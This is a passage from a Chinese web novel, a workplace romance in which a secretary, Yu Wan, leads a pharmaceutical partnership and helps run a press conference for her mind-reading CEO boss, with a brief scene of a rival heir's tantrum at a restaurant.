尤其是最近几年,在傅氏的暗中针对下屿风集团发展受限,往其他行业开拓又缺少底蕴和经验,频频受挫,只能通过深度绑定宋家的企业寻求发展。
加上老头子身体一年比一年垮,就更心急,好不容易叫陆决风回老宅发泄一通,累得瘫在床上半个月没出门,他好心回去看他,被他抓着床头的东西砸,反反复复就是那几句‘陆家的希望就在你身上了,你要争点气’。
他倒是想争点气,但老头子死死把钱攥着,他拍个收藏品都要得到老头子首肯。
上回陆屿森负责的项目失败,就是被傅知尧暗中截胡,老头子气得断了他的副卡,害得他差点连饭钱都结不了,他压不住火,找人给傅知尧下药,原本想制造点绯闻搞塌傅氏企业形象,但没想到居然被一个女秘书破坏。
后面傅知尧更是装都不装了,收购听彩,将撕破脸摆到明面上。
陆屿森隐隐猜到傅知尧的针对出于何种原因,但他不理解,杀人偿命天经地义,大不了找人撞死那老头子和他那继母呗。
干嘛针对他,他只是想继承公司而已,他多无辜。
扫了眼对面打扮精致耷拉着驴脸的宋楚楚,陆屿森懒得和她计较:“行了,合作是合作,公私分明,吃完这顿饭就好好干。”
宋楚楚冷笑。
“我的确可以公私分明,但某些人能不能就不一定了,别到时候出了问题又哭唧唧回去找人。”
说好听点是拜托决风哥帮忙,说难听点就是捅出篓子让决风哥擦屁股,自己反倒潇潇洒洒,跟条吸血虫一样,整日趴在决风哥身上,不榨干最后一滴利用价值不罢休。
怼人这方面陆屿森就没有落人下风的时候,当即反唇相讥:“你以为你就清高到哪里去了,每天巴巴的跟条癞皮狗一样跟在陆决风身后,你没看出来
他对你不感兴趣?”
宋楚楚被戳到痛点,脸色肉眼可见变得难看,抓起手边的冰水,猛地泼到陆屿森脸上。
冰水从发梢滴落,将陆屿森精心打理的发型弄乱,他抹了把脸,表情阴森地盯着宋楚楚。
“你好得很。”
宋楚楚被看得发憷,悻悻然坐在椅子上,硬着头皮说:“管好你的嘴。”
这段饭显然是吃不成了,陆屿森砰的一声用力甩上包厢门离开,要不是他不打女人,宋楚楚今天别想好好走出这个餐厅。
刚出门没几步,迎面撞上端着冰果汁的服侍生,果汁尽数泼洒,顺着裤腿滴到皮鞋鞋面。
陆屿森本就怒气填胸,直接将服侍生手中的餐盘掀翻在地,斥骂道:“没长眼是不是,你这样的人是怎么当服务员的,你们经理呢?把他叫过来。”
“对不起先生,对不起!”
那名服侍生神色仓惶,弯腰连声道歉,拿出随身携带的毛巾准备给陆屿森擦拭,再次被他打飞。
陆屿森火冒三丈:“把你的脏毛巾拿远点!”
动静有些大,吸引了餐厅内其他顾客的注意。
陆屿森助理及时赶来,拿出两条干净的手帕,一条让陆屿森自己擦脸,一条则被他捏着小心翼翼给陆屿森擦拭西装上的果汁,擦得差不多,蹲下身给他擦皮鞋。
年轻的男孩抱着餐盘立在旁边,面色惨白,身上衬衫湿了一大片,他连擦都不敢擦,他害怕被面前这位身份贵重的客人投诉丢掉工作,战战兢兢等待审判。
虞晚从洗手间出来,便撞上这样一幅混乱的场景。
不到两秒就搞懂发生了什么,她轻叹口气,从口袋里拿出未拆封的手帕纸和湿纸巾,拜托另一位服侍生稍后递给那位年轻男孩,绕开发生争端的地方准备回包厢。
陆屿森怒气尚未平歇,眉宇间满是阴鸷,扫过那群小声议论他的人群,正要问经理怎么还不来,恰好看到虞晚递东西给服侍生,女人面上没有看热闹的表情,平静得有些显眼。
他眯了眯眼,总觉得那女人长得眼熟,视线追着虞晚离开的方向,迟迟没有想起来在哪里见过。
他抬手,招来那位服侍生,“刚刚那女人和你说什么了?”
服侍生咽了咽口水:“那位客人让我将手帕纸和湿纸巾给小朗。”
小朗就是那个将果汁不慎泼到陆屿森身上的年轻男孩,上个月招进来的,刚转正没几天。
经理脚步匆促赶来,认出陆屿森,鞠躬喊了声“陆总”,按着小朗弯腰给他道歉,“这孩子不懂事,给陆总您添麻烦了,衣服的赔偿费用我们餐厅会出,到时候从这孩子工资里扣,扣完我就让他走人。”
“不用。”
经理抬头,看到陆屿森掂着手里的湿纸巾,忽然露出一个饶有兴致的笑容,表情颇有几分玩味,叫人捉摸不透。
他抬手,在小朗肩膀上重重拍了拍,“运气不错啊,小伙子,好好干,下次可就不一定有这运气了。”
说罢,笑容一敛,眉目冷厉,大踏步走出餐厅。
他记起来了,那女人叫虞晚。
是他好弟弟惦记多年的小青梅,也是傅知尧的秘书。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
50-60
第51章
拐过转角,虞晚进了包厢。
包厢内,坐着郁瑾潼,她身着浅紫色缎面长裙,长发微卷如海藻,气质优雅端庄。
看到虞晚,朝她柔和一笑,举起手中的菜单:“快来,看看你想吃点什么?”
“好。”
今天进程比前两天快,郁瑾潼刚好有时间,带虞晚对公司进行更深入详细地了解,在参观其他合作公司时还带上了她,让她对制药行业上下游产业链有了粗略的认识。
虞晚简直要看不过来,一边做笔记一边努力消化郁瑾潼话语里的高级词汇,好在郁瑾潼十分体贴,知道她不太了解,还会用通俗易懂的方式解释一遍。
虞晚心底对郁小姐的佩服又上了一个台阶。
郁瑾潼大学所学专业是金融法律,和医药搭不上边,之所以会接手信远,纯粹是因为家里其他人看不上,但偏偏是大家都看不上的公司,在她的带领下,成了海市数一数二的制药企业。
每逢家族聚餐,还有好些看不懂脸色的蠢货虚张声势地在她面前提起当初的让步,话里话外暗示她,如果不是他们的放弃,哪里会有现在的信远。
郁瑾潼不会浪费口舌和那些人争执,用事实打脸才是她的作风。
郁瑾潼没有因为虞晚在在制药方面知识的缺失就看低她,像一位导师般耐心十足地引导虞晚。
一个上午的相处下来,两人很快聊到一起,吃着饭,两人的聊天内容从工作说到了豪门八卦。
郁瑾潼本就出身富贵,从小接触上流社会,对那些富豪家族的龌龊事了如指掌。
说起东家三个亲儿子和私生子最近因为争家产的事情闹得不可开交,互相给对方的竞争对手送钱、送资源,想要把对方拉下水;说起西家男主人玩得花是因为不举,只能靠道具助兴,还被人举报涉黄,差点光着身子被抓进警局,登上民事新闻。
给虞晚听得一愣一愣的,但不得不说,八卦相当下饭,虞晚一连吃了两碗大米饭。
总算把因忙项目降低的食欲拉回来了些。
郁瑾潼怕八卦冲击太大吓到虞晚,安慰她:“不过这些八卦你就听听,那些人都是因为内心空虚才搞这些花里胡哨的,不是所有有钱人都这样,就比如你们老板傅知尧,出了名的洁身自好,你不知道吧,海市多少人都在盯着他。”
下药都算低级手段,更有甚者直接往傅知尧床上放赤条条的女人和男人,被傅知尧的保镖架着,直接丢去了派出所,见傅知尧不为所动,就开始往她这边塞人。
郁瑾潼这个‘未婚妻’当的差点出工伤。
对傅知尧受欢迎这点,虞晚无比赞同,星玥三十周年庆典那晚,她坐在老板身边,一双眼小心谨慎地欣赏那些来找傅总搭讪的漂亮女人,随后不由得感慨自己长相的安全性。
但背地里讨论老板的八卦,虞晚胆子还没大到那种程度。
郁瑾潼看着虞晚,眼睛里闪烁着八卦的光芒:“虞晚,你谈过恋爱吗?”
“啊?没有。”
虞晚不明白话题为何突然这么跳跃,摇了摇脑袋。
郁瑾潼语气颇为遗憾,不死心地继续问:“这样啊……,那你们公司呢,有没有你喜欢的人?”
虞晚还是摇头。
说到这事,和赖言栩和孙柠有点关系,两人并不反感办公室恋爱,但两人一致表示:“和公司同事恋爱,就像是宫里的太监和宫女搞对食,每天拖着疲惫的身躯上班,还要看着对方那同样死气沉沉的脸吃饭,想想就倒胃口!”
比喻实在形象,外加虞晚没谈过恋爱,不太清楚那些还没爱几天就开始为爱死去活来是什么感觉,对恋爱的兴趣不大。
或许她以后会遇到心动或喜欢的人,但绝不是现在,她还没在海市站稳脚跟,哪里有时间去想那些有的没的。
郁瑾潼听虞晚说完理由,扑哧一声笑出来,“你朋友说的对,很有道理,不过你的理由我更喜欢。”
虞晚有些不好意思,被郁瑾潼打开话匣子,她胆子大了些,蠢蠢欲动片刻,询问郁瑾潼。
“瑾潼姐,您为什么会和老板解除婚约,按照您对未来另一半的期望,老板其实相当符合不是吗?”
郁瑾潼挑了下漂亮的眉,即便只涂了口红,依旧美得毫不费力:“他?他那人挑剔得很,眼光又高,不是最好的入不了他的眼,我可能不符合他的要求吧。”
虞晚震惊:“怎么会,如果谈恋爱是考试,只看个人能力,那瑾潼姐你方方面面都是满分。”
虞晚表情认真不作假,因为她打心眼儿里觉得郁瑾潼是个优秀的人。
有独立的事业,有处理问题的能力,思考逻辑缜密,待人接物有水准,长相漂亮,身材好,简直是六边形全能战士,怎么可能不好。
郁瑾潼撑着下巴,看着桌对面一脸笃定的虞晚,弯了弯嘴角。
“难怪傅知尧那个挑剔魔王会选择你,虞晚,你说我好,这话你自己也记住,你
也很好,如果不好,这个合作傅知尧不会交给你。我不是第一次谈生意就做到这个地步,我也用了许久的时间,最难的时候公司账户上只有三十万,连工资和电费都交不起,还是你们老板傅知尧借我了一笔钱才缓过来。虞晚,近水楼台先得月,你作为傅知尧秘书,能学到的东西肯定不少,千万别放过这个机会,要是能让傅知尧吃吃爱情的苦,也未尝不可,到时候……我就等着到时候了。”
对郁瑾潼来说,爱情就是那么一回事,婚姻,也就是那么一回事。
多浪漫多长远都不是她所追求的,想和傅知尧结婚,不过是看中他公司的发展前景以及稳健的现金流,傅知尧人品过关,她不必担心结婚后被设局套走财产或者股份,两家企业的合作关系可以更紧密,在此基础上,傅知尧那张脸和身材同样让她眼馋。
但眼馋归眼馋,傅知尧明确表示过拒绝,她不会不懂眼色凑上去,事不过三,惹恼傅知尧对她有什么好处。
她还指望着傅知尧给她撑撑场子,等郁老爷子死的那天,稳住那些蠢蠢欲动的家伙们,让她真正掌握郁家。
不过,她倒是从傅知尧对虞晚的态度里看出了几分特别,先前还说项目交给虞晚不会多管的人,昨天居然破天荒给她打电话,询问情况。
凭她多年来对傅知尧的了解,傅知尧要是对虞晚没那个意思,那就让她的公司发展到傅氏那个量级!
郁瑾潼话说得模棱两可,虞晚听得迷迷糊糊。
让老板吃爱情的苦?她一个秘书怎么让老板吃爱情的苦。
不过如果是指原著,那的确,和原著女主的感情线不正是在她成为傅知尧秘书后由傅知尧亲手剪断的吗?
没等虞晚追问,郁瑾潼便笑着将话题一笔带过,聊起合作上的事。
实地考察过,后续工作还需要其他部门同事的配合,毕竟项目量级大,虞晚不可能仅凭一人搞定,但她是项目负责人,准备会议资料,同团队其他人员开会讨论也在她的工作范畴内。
拉锯战般开会讨论了两天,规范项目流程,梳理、标注需要注意的细节,药品资格证是否齐全规范,事前审批流程是否能按时履行合同中有无漏洞……确定完这些,虞晚周末也没闲着,和信远医药公司那边对接的团队继续开会,双方就合作事宜进一步探讨,总算是敲定好合同。
周一上班,虞晚精神萎靡地坐在工位上,喝口速溶咖啡清醒清醒,对着电脑一字一句敲自己的工作报告。
她不知道老板什么时候回公司,但工作完及时写工作报告已经成了她的习惯。
对内,工作报告能帮助她理清思绪,回顾工作过程,帮助她反思复盘,总结经验,能避免她下次犯错。
对外,工作报告就是她晋升的阶梯,是对领导对同事的个人近阶段工作成果展示,能明确她在工作中的成长和收获,对工作项目进行量化,方便上级抽查考核。
当然了,官方说法是这个,实际上,虞晚整理好的工作报告要给傅知尧看,写得不好,傅知尧会毫不留情打回来让她重写,她不敢不认真。
墙上时针缓缓指向十点半,虞晚写完工作报告,将其打印出来,收到蔡秘书消息。
蔡秘书:【虞晚!我和老板回公司了,还有五分钟到顶层!】
虞晚差点以为是自己眼花,蹭地一下从工位上站起来,拿着手机飞快敲字回复。
虞晚:【蔡秘书,你没有开玩笑吧?】
蔡秘书:【三分钟!】
虞晚连打印机那边的工作报告都顾不得拿,关好办公室门,直奔专用电梯长廊。
像是场景重现。
电梯长廊被西装革履的社会精英们填满,无人交头接耳,一脸严肃地等待傅知尧。
办公室今日只有她一人,如果不是蔡秘书冒险给她发消息提醒,她恐怕会错过迎接老板的机会。
来得有些晚,靠近长廊已经被被人填满,虞晚没有挤过去,站在队伍末端,斜对面是孙柠和赖言栩,两人见到她十分兴奋,腰间的手伸出来,小幅度摆动同她打招呼。
虞晚注意到,笑着挥动自己的手,做出同样的动作。
打过招呼,虞晚注意力凝聚在那扇铅灰色的金属电梯门上,显示屏上的数字缓缓跳动增加,虞晚心跳不由自主加速。
将近一个星期没见到老板,只和老板在手机上聊过几次,虞晚忽然有种近乡情更怯的心情。
第52章
原先傅知尧每日在公司坐镇,按时上下班,虞晚还不觉得有什么,有问题整理好,敲门询问老板就能得到解答,比手机搜索软件还好用。
傅知尧出差这一个星期里,虞晚知道他在忙合作,很少发消息打扰他,许多疑问都是她自己摸索着理解,东奔西走询问、请教,努力培养独立处理合作项目的思维能力。
看到蔡秘书发来消息说傅知尧回公司,压在虞晚心头那块沉重的石头好似落地,有种说不出来的轻松,就好像,公司主心骨又回来了。
叮的一声,将虞晚思绪唤回。
电梯门打开。
傅知尧和蔡杨两人的身影显现。
傅知尧一身定制灰色西装,从容不迫迈着长腿从电梯内走出来,气场强悍,俊美无俦的脸一如初见惊艳,面部轮廓硬朗流畅,眼眸狭长漆黑,透着一股冷淡不羁的潇洒。
“傅总好!”
与初次看到傅知尧不同,这回虞晚淡定多了,跟着人群一齐微微低头:“傅总好。”
抬头,四目相对。
男人表情没什么变化,一贯的疏离倨傲,虞晚莫名有些憋屈。
老板出差不带她就算了,周一上班前才告知她,还将那么重要的合作项目甩给她,甩给她就算了,虞晚勤勤恳恳,每晚给他发工作进度报告,期望得到傅知尧的批评指正。
但没有!没有!一次都没有!
傅知尧只是非常平淡地回复了一个嗯字,让虞晚怀疑他是不是都没有认真看,整整一个星期她都在辗转反侧地煎熬,足足瘦了三斤。
傅知尧是不喜欢所谓迎接仪式的,好在那些高管也知道他的风格,迎接仪式并不花里胡哨,能让他在员工面前刷刷脸,保持大老板威严,因此每回欢迎仪式就是他装冷脸装得最多的时候。
这次出差回来,自然是继续装,走了没几步,傅知尧在人群末端看到虞晚的身影。
见虞晚呆呆愣愣地盯着他,一脸‘老板你终于回来了’的表情,莫名觉得好笑,没忍住轻轻抬了下左侧眉毛。
仅仅是一秒,整张脸线条恢复锋利平直,口吻肃然:“二十分钟后开会,准备好你们的汇报文件。”
“是。”
人群散去,虞晚跟在傅知尧身后,准备和蔡秘书一起回总裁办,被傅知尧叫住。
“虞秘书,把你的项目报告拿给我看看。”
虞晚:“……好的老板。”
进了办公室,和蔡秘书对视一眼。
蔡秘书立刻举手表明自己的清白:“可不是我不提前告诉你,航班延误,我和老板昨天是在机场安排的酒店休息,今天早上收拾好直接就来了公司,我原以为老板会取消今天的会议,就没说,直到车子抵达公司才有机会给你发消息。”
虞晚倒没有责怪蔡秘书的意思,她走去打印机那边,取出打印好的报告,朝蔡秘书摆了摆。
“出差辛苦了,我给你点了一杯你最喜欢的芒芒甘露,蔡秘书你记得去孙柠那边拿,我先去办公室找老板交差。”
蔡秘书感动地看着虞晚,“太好了,谢谢你虞晚,被工作摧残的我急需一杯奶茶!”
虞晚笑了笑,“不客气。”
虞晚一走,总裁办就剩下他,蔡秘书脱掉西装外套,大剌剌地活动着胳膊和身躯。
出差这事真不是一般人能
干的,落地当天就开会,熬了几个大夜才堪堪将合作处理好,要不是班加罗尔和海市时差隔不了多少,光是倒时差就够人熬。
宽敞安静的办公室内。
傅知尧端坐在办公桌前,翻看虞晚写好的工作报告,时不时拿着笔在上面圈点写批注。
虞晚有种学生时代被老师批改作业的紧迫感。
不到五分钟傅知尧就看完了,将报告递给她,“有问题的地方我圈出来了,你仔细看看,待会儿会议上你做个简短的工作汇报。”
就这么一会儿,看明白了吗?
刚写完没多久,她自己都没来得及检查。
虞晚将信将疑接过报告,翻开一看,果真有些地方因为粗心写错了,但老板是怎么看出来的。
除非……老板在国外也一直在关注这个项目。
但关注就关注吧,她前几天汇报的时候也没见傅知尧指出错误之处,难不成老板是特意考验她心态?
虞晚表情由憋闷转变为困惑,嘴唇线条往下拉,就差把‘为什么’三个字写在脸上。
傅知尧漆黑的眼底染上丝丝笑意,他合上手中钢笔。
“怎么,我纠正得不对?”
虞晚摇头,眼神有些复杂,欲言又止片刻,开口:“老板,这是我的问题,等会议结束我会认真修改有问题的地方,再和您详细汇报项目内容,但老板……”
虞晚稍稍停顿两秒,对上傅知尧的眼神,眼睫颤了颤,压平紧绷的声线,“老板,你下次出差能不能提前告诉我,好让我有个心理准备。”
“怕自己处理不好项目?”傅知尧问。
虞晚点头又摇头。
她其实没觉得接手项目有多么可怕,她潜意识里觉得老板会帮助她,所以不害怕,但傅知尧一直不给她回馈,让她心慌,开始质疑起自己的能力,是不是没那个金刚钻还要揽瓷器活。
情绪崩溃的时候仍旧坐在电脑前整理资料,冷静得像个疯子。
虞晚思考几秒,认真回答:“项目合同定下来不是我一个人的功劳,公司里的同事帮助我很多,只不过我是第一次领导团队,我的想法难免会影响其他人的判断,我害怕自己做不好,给公司带来损失,也怕做不好,老板你下次不会再让我负责项目。”
她只是处理一个项目就开始头疼,过程中的决策更是让她纠结反复,就像是一个手持资金,不知该何时购入股票何时抛售股票的人,既怕无法利益最大化,又怕因为一时犹豫赔得血本无归。
在这个过程中,虞晚愈发佩服老板的能力。
经营偌大的一个集团,每日查阅审批的项目文件没有几百个也有几十个,在这样短暂的时间里,要如何判断一个项目值不值得投资,值不值得扶持呢?
好比傅氏旗下的新能源汽车品牌安速。
汽油车盛行的年代,新能源车只是作为公共交通被人提及,彰显科技的进步之处,个人用户鲜少关注,更别提购买,网上鼓吹新能源车是个废物车的大有人在。
但傅知尧在进入傅氏前就大力支持父母加大这方面的资金投入,研发、生产新能源汽车,打造新能源汽车品牌。
那时的老板刚满十六岁没多久,还在读高一,老板父母在面对采访时颇为骄傲地提起傅知尧,问及傅知尧在哪里,能不能让他出来接受采访,就说孩子在海岛上冲浪,享受他的十六岁,很遗憾没有时间。
现在,安速新能源汽车销量排在所有新能源汽车之首,庞大的利润让无数同行眼红,还有大批最开始不愿意研发新能源汽车的老牌汽车品牌下场凑热闹,可惜进场时间太晚,品牌效应加成不够,销量惨不忍睹,最后因亏损严重,遗憾宣告退出新能源领域。
虞晚先前在网上看到一句话:站在时代的风口上,是头猪都能飞起来。
现实中,很多人不知道风从哪里来,也不知道站在哪股风旁能飞起来,更别提个人眼光和时代局限,敢于冒险的人少之又少,能成功的都是少数,幸存者偏差让大家过分关注成功的人,忽略那些被时代洪流拍打在岸上的人。
傅知尧则不同,他意志坚定不动摇,有明确的目标导向,战略眼光具有前瞻性,短期决策和长期目标相结合制定集团发展蓝图,有孤掷一注的决心也坚持脚踏实前行。
这点从公司财务报表上就能看出来,如何合理避税这句话深深刻进财务部脑子里。
虽然对老板将项目问都不问就丢给自己颇有怨念,但虞晚必须承认,得知老板回公司,她的安心多于埋怨,甚至有种无论她这次把项目搞砸到何种程度老板都能力挽狂澜。
傅知尧靠坐在老板椅上,耐心听虞晚说完,骨节分明的手指微屈抵在太阳穴附近,轻笑一声,好整以暇开口:“虞晚,你这话说得挺迟的,要是真对项目没兴趣,真对自己没信心,为什么不在上周我将项目交给你的时候提出来,我还能及时调整,让其他有经验的人接手项目。”
虞晚微微一怔。
是啊,如果她对自己不自信,认为自己做不好项目,她可以在一开始就婉拒老板,老板难不成会强行压她去做项目吗?
这个时候才说害怕,多少有点马后炮的意思,再惶恐不安她不也硬着头皮逼自己完成了。
如果说这是一份满分为一百的试卷,那她至少有六十分,及格了,从老板的态度看,或许她的分数比六十分的及格线还要高一些?
否则在发现她汇报文件里的错误,早该将文件扔到她面前,将她臭骂一顿,不是吗?
那她能不能再进步一点,从六十分到七十分,一点点将剩余的分数不上,争取教出一份满分答卷呢。
傅知尧没打断虞晚的思考,片刻,看了眼腕表,悠悠提醒:“虞秘书,距离会议开始还有六分钟。”
虞晚回神,眼眸明亮地向傅知尧道谢:“谢谢老板指正,那我先去检查会议室。”
离开前,虞晚转过脸:“对了老板,我已经订了楼下咖啡厅的冰拿铁,稍后我会帮你拿到会议室,如果你想喝热水,我也准备好了,您可以随意选。”
“好。”
门合上,傅知尧眼睑低垂,看着面前的文件,眼睫下笑意一闪而过。
第53章
这是虞晚第二次在会议上汇报工作。
可能是在项目中需要和各种类型的人打交道,虞晚脸皮修炼得更厚了些,比一次汇报时更从容自在。
本次项目也是团队合作,虞晚在汇报过程中简要带过自己做的事情,主要提到其他对合同签订帮助颇多的部门。
傅知尧坐在长桌首位上,虞晚说的时候,敛眸轻扫过那些部门领导。
能坐到总监这个职位,喜怒不形于色是最基本的,几位总监面上端正严肃,一副他们只是做了分内事情的泰然。
可惜傅知尧听得见心声。
综合众人心声传达出的想法,可以看出,尽管虞晚在拍马屁这块使用的话术十分低级,但虞晚那张脸极具说服力。
老实人说话,假的也像是真的。
更何况,虞晚是真心实意。
他收回视线,无意扫到全程垂着眼的关彦轩,从虞晚起身汇报开始他似乎就没怎么抬过头。
但关彦轩本就不是个话多的人,傅知尧很少捕捉到他的心声,这样的人,可以用渊思寂虑、内敛稳重来形容,也可以用城府深沉、心怀叵测来形容。
目前看来,关彦轩是前者,傅知尧有意培养他,再锻炼个两年,就让他去分公司任职。
关彦轩还不知道自己被傅知尧盯上了,听着虞晚的汇报,时不时在纸上写几个字。
傅知尧构思完对关彦轩的培养计划,看见关彦轩的写字的动作,顿时僵在原地。
他就说他不
会无端对那张生日卡片上的字迹感到熟悉,敢情虞晚生日那天,给她送花的人是关彦轩。
那个‘日’字中间的连笔,以及末端稍稍往外拉出的一瞥和关彦轩写字的习惯一模一样。
似有所感,关彦轩抬起头,两人视线在半空中相接。
对视超过五秒,气氛变得微妙膈应起来,关彦轩表情凝滞,最先转过脸,低头看到自己纸上写的虞晚几个字,面无表情用笔涂黑-
【隔着将近两米的距离也能看到我在写什么?烦。】
傅知尧:“……”
会议结束,虞晚坐在办公室整理会议记录。
总裁办公室内,法务部总监卢智坐在傅知尧办公桌前,简单向傅知尧陈述了一遍信远制药合作项目中虞秘书的表现,公事公办给出评价。
“虞秘书毕竟是第一次独立负责项目,虽然不够专业,但态度端正,踏实肯干,前期实地考察不敷衍,各类药物对应资格证的确认了解详细,汇总能力不错,在团队中主要处于倾听者的角色,脾气好,但不盲目信从,更注重实际证据而非空谈,这点比较可贵……”
说得差不多,卢总监心声飘出来-
【还有一点不知该不该说。】
傅知尧看他,“还有补充的吗?”
卢智先定了定神,“傅总您事先叮嘱过,让我们不必特意给虞秘书行方便,所以我们都是优先处理手上的案子,虞秘书来我们部门找了好几次,能看出来她的着急,但比我想象中沉得住气,没摆过一次黑脸,连续三天往我们办公室送咖啡喝下午茶点心,说能理解我们同事的忙碌,第三天送下午茶的时候……”
卢总监稍稍停顿两秒:“第三天送来下午茶的时候……站在我们办公室门外接了一通电话,电话那端是傅总您。”-
【并不是办公室员工刻意关注,虞秘书站的位置实在巧妙,明眼人都知道是在给傅总打电话,但虞秘书并没有在电话里提及员工半点的怠慢,反倒夸起他手下员工办事细心,分得清轻重缓急,说什么只要周六前能腾出时间就好。】
卢总监:“虞秘书没有催过我们,但员工们也知道项目的重要性,和虞秘书一起,对项目合同内容进行了探讨和校正。”
法务部员工们难道看不出虞秘书是故意站在办公室门口打的电话?
他们当然知道,但伸手不打笑脸人,更何况虞秘书一连来了三天,每次都笑吟吟的,半点不着急,还在电话里同傅总说他们的好话,表达对他们辛勤工作的肯定和赞赏,听得办公室里坐着的员工心慌慌。
和老板身边的秘书过不去没啥好处,意思意思为难两下得了。
合同审核方面要是不严谨,最后出了问题,法务部还不是要跟着遭殃。
都是社会人,讲究社会规矩。
傅知尧听着卢智先的话,屈指点了点桌面,狭长深邃的眼眸中漾出一抹不易察觉的笑。
他打给虞晚的电话?
他出差这一周里,虞晚就只在手机上和他发过消息,虞晚没给他打电话,他自然也不会去给虞晚打。
狐假虎威这个成语,她倒是理解得淋漓尽致。
等卢智先离开,傅知尧拿出手机,给人事部何城发了条消息:【按照公司规章制度,虞秘书手里的项目能给她底薪加多少,你看着计算,下个月按提薪后的标准打到她工资账户上,顺便找她聊聊工作近况。】
何城:【好的傅总。】
收到傅知尧给虞晚加工资的消息,何城已经不会再吃惊了。
不说虞秘书手中正在做的项目,就单单说虞晚提出的短剧项目,听彩在完成收购后经历大规模整改,时隔两个月才重新上架,海内海外软件商店同步更新版本,短剧招商这块当时可都是虞秘书负责的,短剧上映当天,听彩短视频讨论度直接刷爆社交网络,讨论短剧剧情的,讨论短剧新鲜度的,分析听彩被傅氏收购后的改革规划以及这次能不能冲击A股IPO等等……听彩短视频下载量刷新历史,日用户活跃度甚至比收购前更高。
这一次,在另外两大短视频嗨视和艺腾还在为抢夺短视频用户打得你死我活时,听彩跳出固有思维圈,开辟了一条新的竞争道路,可谓是打了一个漂亮的翻身仗。
要是这都不加工资,何城都替虞秘书觉得委屈-
信远制药这边的合作确定下来,泽域那边,廖佑林带着团队来了海市,预备停留十天左右,进行实地考察。
这次合作协议金额超十亿,还有相关部门的惠企政策供给支持,对这次合作,双方都相当谨慎。
虞晚工位的椅子还没坐热乎,又开始了跑外勤的日子,跑完外勤就回来开会,和政府相关部门开会,和医院相关部门开会,和信远制药代表一起开会,每天晚上对着电脑屏幕一字一句敲工作总结,整理项目资料,忙得脚不沾地,要不是每日涂了厚厚的防晒,估计要晒脱一层皮。
九月十号,由傅氏和泽域联合举办的‘好医生互联网医疗共享共赢’项目新闻发布会如期举行,发布会在海市会展中心举行,场地宽敞明亮,现代化科技感十足。
当天,多家新闻媒体应邀到场,扛着专业摄影器材,戴着工作牌,坐在场地内交头接耳,等待发布会开始。
会展中心一时被热闹细碎的声音填满。
傅知尧在后台休息室里等待开场,虞晚则在会场内同卫羡一起核对发布会流程。
新闻发布会流程并不复杂,双方项目话事人上台讲话,针对合作项目中的线上医疗平台合作进行具体的阐述,表达对合作项目的期望,描绘未来合作蓝图,再解答台下新闻记者的提问。
这次发布会同样是一个交好信号,主要是为了宣传傅氏和泽域的合作,方便后续更好地吸纳投资,扩大项目规模。
这些事情虞晚不需要操心,她甚至也不需要时刻陪在老板身边,虞晚今日的主要任务是配合卫总监,和她一起确保新闻发布会顺利进行。
组织像发布会这种超过200人参加的大型活动必须有安全应急预案,傅氏针对此种类型活动已经有了固定的应急指挥班底,虞晚有上次庆典的经验在,这次担任的角色相当于副指挥。
发布会前期,和卫羡一起确定会场内设施运作稳定程度,检查消防设施是否有缺陷,紧急疏散通道内是否有杂物堆放,入场闸机和扫描仪能否检查出入场者身上携带危险物品,当会场内发生意外状况,如何快速疏散人群到安全场地……
如此反复检查三遍以上才能稍微放心。
参与发布会的新闻媒体人数众多,万一出了点什么意外,随便哪一家写的新闻稿都够傅氏喝一壶,不利于企业信誉和形象的塑造。
忙忙碌碌将近一小时,九点半,发布会正式开始。
今日发布会邀请到了业内很有名的一位主持人,台风稳健,反应能力强,对相关知识了解也更胜其他人。
主持人开场白过后,发布会流程缓缓推进。
虞晚站在台下,充当起沟通桥梁的作用,空闲的时候认真倾听台上的发言,时不时注意坐在沙发那边的傅知尧。
发布会流程进行到最后,是记者们的自由提问时间,傅知尧和廖佑林站在台上,依次应对记者的提问。
为了拿下新闻头条,那些媒体记者的提问角度都相当犀利。
虞晚不由得想,如果站在台上的是她,她该如何回答,如何圆滑得体地回答,使用合适的措辞,让话语留有回旋余地,不被提问者牵着走,不被恶意引导说出什么不该说的话,还要控制好思考的
时间。
这是一门叫做语言的艺术,更是对反应能力的极度考验。
虞晚在这方面的修炼显然还不够火候。
正看着台上镇静自若回答问题的傅知尧,卫羡匆匆跑来,拉住她的手,一脸激动:“虞晚,你是不是会手语!”
第54章
虞晚愣了两秒,点点头,“对,怎么了,卫羡姐你不要慌,慢慢说。”
卫羡也怕吓到虞晚,摆摆手,耐心解释。
“我没慌,我刚知道今天来采访的记者里有一位聋哑记者,叫胡诚,你应该有在新闻中看见过他,专门为残疾人群发声,他原本是带了写字板,打算举板提问,但我记得你会手语,能不能帮个忙,待会儿和医疗平台负责人叶总一起上台,我方才还和公关部石总监聊了聊,觉得这是一个很好的宣传切入口。”
企业人文情怀什么的,除了员工们发自内心的认同和维护,自然也需要一定的营销宣传,这个年代,酒香也怕巷子深。
卫羡说:“不是特意设计这个情节,刚好你会手语,也算是省去了胡诚记者写字的时间,让他在固定时间内了解到更多的信息,而且,最重要的一点,你对医疗平台项目了解程度比我深,不必担心言之无物或者脑袋空空。”
卫羡说得很多,但虞晚听懂了。
意思是让她上台,配合叶总,用手语翻译胡诚提出的问题,必要时对叶总回答进行补充。
虞晚有些为难:“卫羡姐,我可以上台充当手语翻译,但你让我回答,我不一定回答的好。”
“你都说了是不一定,虞晚你该对自己多一点信心,信远的合作就是最好的证明,你绝对没问题,等傅总他们结束问答,和你一起上台的是‘好医生’平台负责人叶总,提问不会太过犀利,凭借你对项目的了解程度,相信自己,你可以的!”
卫羡眼里快射出激光来,就差举着小红旗为她呐喊助威。
虞晚还没想好该如何回答,一旁关彦轩开口,声音冷淡:“就算会手语,也不代表她会医疗方面的手语,出了问题就是新闻事故,这个责任她担不起,再去给胡诚找几块写字板,让他把想问的问题都写上去。”
卫羡乜他一眼:“你少瞧不起人,招你惹你了,又没和你说话,没参与医疗项目的总监请闭嘴。”
关彦轩:“……”
踌躇之际,卫羡再次开口。
“虞晚,你不必担心医疗术语的手语该如何表现,提问的胡诚也不是医学专业的,他问的问题肯定更实际,我看过胡诚的新闻稿,比起高大上的术语,他更关注民生,从普通群众的角度出发了解医疗平台合作项目,这也是我找你的原因,不仅仅是因为你会手语,我还记得你在项目讨论会上提到的智能医疗解答,让群众不需要花费金钱就能了解到专业的急救知识,去医院就诊前能够简单对自身病情作出判断,可能大部分人觉得免费的一定不靠谱,但这个世界上不是所有人都能及时去医院看病,有时候,大家需要的恰恰是这样的免费。”
不得不说,卫羡这番话戳到虞晚心窝上了,她不该当企划部总监,去市场宣传部可能更合适,长篇大论却有理有据,让虞晚不知从何反驳,就差一激动往台上冲。
